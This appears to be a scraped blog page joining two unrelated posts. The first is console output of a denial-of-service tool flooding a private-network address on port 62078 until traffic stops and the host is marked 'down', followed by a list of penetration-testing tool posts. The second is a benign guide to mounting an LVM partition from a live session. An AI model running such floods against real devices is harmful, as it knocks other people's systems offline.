Packets per second -> 8300 – 518 kB/s
Number of sent packets -> 1942630

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8438 – 527 kB/s
Number of sent packets -> 1951068

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8300 – 518 kB/s
Number of sent packets -> 1959368

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8222 – 513 kB/s
Number of sent packets -> 1967592

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8280 – 517 kB/s
Number of sent packets -> 1975874

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8418 – 526 kB/s
Number of sent packets -> 1984292

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8090 – 505 kB/s
Number of sent packets -> 1992382

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 7962 – 497 kB/s
Number of sent packets -> 2000348

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8052 – 503 kB/s
Number of sent packets -> 2008400

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8350 – 521 kB/s
Number of sent packets -> 2016750

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8456 – 528 kB/s
Number of sent packets -> 2025206

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8112 – 507 kB/s
Number of sent packets -> 2033320

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8430 – 526 kB/s
Number of sent packets -> 2041750

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8272 – 517 kB/s
Number of sent packets -> 2050024

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8320 – 520 kB/s
Number of sent packets -> 2058344

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8120 – 507 kB/s
Number of sent packets -> 2066466

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8076 – 504 kB/s
Number of sent packets -> 2074542

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8316 – 519 kB/s
Number of sent packets -> 2082858

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8038 – 502 kB/s
Number of sent packets -> 2090898

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8138 – 508 kB/s
Number of sent packets -> 2099038

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8012 – 500 kB/s
Number of sent packets -> 2107052

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8398 – 524 kB/s
Number of sent packets -> 2115450

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8320 – 520 kB/s
Number of sent packets -> 2123770

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8152 – 509 kB/s
Number of sent packets -> 2131924

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8264 – 516 kB/s
Number of sent packets -> 2140190

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 286 – 17 kB/s
Number of sent packets -> 2140476

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 0 – 0 kB/s
Number of sent packets -> 2140476

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 0 – 0 kB/s
Number of sent packets -> 2140476

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 0 – 0 kB/s
Number of sent packets -> 2140476

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 0 – 0 kB/s
Number of sent packets -> 2140476

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 0 – 0 kB/s
Number of sent packets -> 2140476

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 0 – 0 kB/s
Number of sent packets -> 2140476

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 0 – 0 kB/s
Number of sent packets -> 2140476

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 0 – 0 kB/s
Number of sent packets -> 2140476

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 0 – 0 kB/s
Number of sent packets -> 2140476

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 0 – 0 kB/s
Number of sent packets -> 2140476

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 0 – 0 kB/s
Number of sent packets -> 2140476

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 0 – 0 kB/s
Number of sent packets -> 2140476

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 0 – 0 kB/s
Number of sent packets -> 2140476

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 0 – 0 kB/s
Number of sent packets -> 2140476

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 0 – 0 kB/s
Number of sent packets -> 2140476

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 0 – 0 kB/s
Number of sent packets -> 2140476

———–

down

keyword

Related Posts

• Close Port 6000
• pentbox
• DNS Security Extensions
• Joomla Vulnerability Scanner
• Arbitrary Code Execution
• phreaker return
• Indonesian Password List
• Basic Security FreeBSD
• Winamp Browser
• rcrack
• ferret
• nemesis
• arpspoof
• Nikto
• wapiti
• wafw00f.py
• Powerfuzzer
• list-urls.py
• Grendel Scan
• XSS
• URI Exploits
• injection
• Server Side Includes
• XML injection
• bed.pl
• xprobe
• sslscan
• protos
• reverseraider
• ike-scan
• httsquash
• genlist
• arping
• lanmap
• lbd
• fierce.pl
• dnsenum.pl
• DnsWalk
• Dmitry
• Honeypot
• tools.securitytube.net
• Review BT4 R1
• Handle Port Trojan
• Basic Security kernel
• Pentoo

Original post of teguh.
Vote for this post on Linux-Planet.

So, one of my friends had this weird system breakdown while upgrading Fedora from DVD. Grub couldn't locate the grub.cfg file. In order to fix the system and take a backup of some important files, we booted in a live session, mounted a lvm partition to find out that most of the data was gone . The end was pretty bad but I think, just like in my case, there will be many more who wouldn't know how to mount a lvm partition. This little adventure of mine might help you out.

In case you have to do something similar just follow the steps we took.

1) Once we were in live session, we opened a terminal and ran

[root]# fdisk -l

This lists out the partition table of the system and it looked something like this

Device        Boot   Start       End      Blocks           Id     System
/dev/sda1     *        1           4864     39070048+    7     HPFS/NTFS
/dev/sda2            4865       6691     14675377+    83   LVM2_member
...

2) The good news was that the system was at least able to distinguish the partitions. So, in order to backup the data, the next step was to access the /dev/sda2 partition. But since it is an lvm partition we will had to take some additional steps to mount it.

Now, run the pvs command. Please note that while in live session you may find that this is not installed by default. In order to install the required tools, run the following command.

[shredder12]$ sudo apt-get install lvm2

Of course, you should be connected to internet. Once you are done with this run pvs.

[root]# pvs

This will list the volume groups to which our physical volume /dev/sda2 belonged. It would be of the form

PV               VG                Fmt    Attr    PSize       PFree
/dev/hda2   VolGroup01  lvm2   a-      148.94G   32.00M

The second field, VG, shows the Volume group. The above output is just an example, showing that we are concerned with the Volume group "VolGroup01". The next step is to list the information about this volume group.

[root]# lvdisplay /dev/VolGroup01

It will throw a bunch of ouput, but the one we are concerned with is LV Name. It will look something like this

LV Name /dev/VolGroup01/LogVol00

In our case, there were two entries of type LV Name, the other being LogVol01, the swap. The whole output along with it will help you to identify the target logical volume you are looking for. Assuming that the above one is the partition that we need to mount, just use the usual method to mount it.

[root]# mount /dev/VolGroup01/LogVol00   /mnt

Now, you can to find the data you were looking for in the /mnt folder.

Original post of shredder12.
Vote for this post on Linux-Planet.